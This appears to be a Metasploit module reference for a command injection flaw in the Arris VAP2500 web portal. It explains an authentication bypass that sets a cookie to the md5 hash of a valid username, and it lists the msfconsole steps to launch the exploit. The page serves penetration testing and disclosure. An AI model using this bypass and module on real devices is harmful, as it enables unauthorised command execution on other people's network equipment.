Arris VAP2500 access points are vulnerable to OS command injection in the web management portal via the tools_command.php page. Though authentication is required to access this page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid username.
Unix
cmd
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/http/vap2500_tools_command_exec
msf exploit(vap2500_tools_command_exec) > show targets
...targets...
msf exploit(vap2500_tools_command_exec) > set TARGET < target-id >
msf exploit(vap2500_tools_command_exec) > show options
...show and set options...
msf exploit(vap2500_tools_command_exec) > exploit
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